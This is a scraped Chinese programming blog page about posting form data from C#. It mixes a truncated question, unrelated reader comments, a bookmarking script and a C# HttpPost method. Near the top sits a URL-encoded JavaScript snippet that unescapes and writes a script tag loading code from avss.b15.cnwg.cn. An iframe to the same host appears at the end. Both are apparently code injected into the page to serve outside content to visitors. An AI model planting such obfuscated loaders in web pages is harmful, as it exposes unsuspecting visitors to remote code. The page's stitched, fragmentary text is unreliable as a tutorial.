HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用C# post数据
,我程序,的错误啊,我得不到,我想要的结果...找不到答案...
string mobilenum = textBox1.Text;
string updata = "mobile=" + mobilenum+"&B1=查询";
ASCIIEncoding asc = new A……
lwjvince:
llllllllllllllll
god_fn:
兄弟 引用文章前 能不能先自己总结一下 文章大意 为什么要aop aop能给我们带来什么? 搞不请为什么要看 这么大段真看不下来
TryToday:
抄的文章也改抄整齐点,现在你自己看看,上下翻页还要左右翻页,这还能看吗。
houdy:
为什么有这个多人总是把选择那种语言和自己的终身大事联系在一起?
语言真的这么重要么?
上一篇: 控制用户登录的时间
|
下一篇: Iterator Design Pattern
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
使用C# post数据
private string HttpPost(string URI, string Parameters)
{
System.Net.WebRequest req = System.Net.WebRequest.Create(URI);
req.Proxy = new System.Net.WebProxy(ProxyString, true);
req.ContentType = "application/x-www-form-urlencoded";
req.Method = "POST";
byte [] bytes = System.Text.Encoding.ASCII.GetBytes(Parameters);
req.ContentLength = bytes.Length;
System.IO.Stream os = req.GetRequestStream ();
os.Write (bytes, 0, bytes.Length);
os.Close ();
System.Net.WebResponse resp = req.GetResponse();
if (resp== null) return null;
System.IO.StreamReader sr = new System.IO.StreamReader(resp.GetResponseStream());
return sr.ReadToEnd().Trim();
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">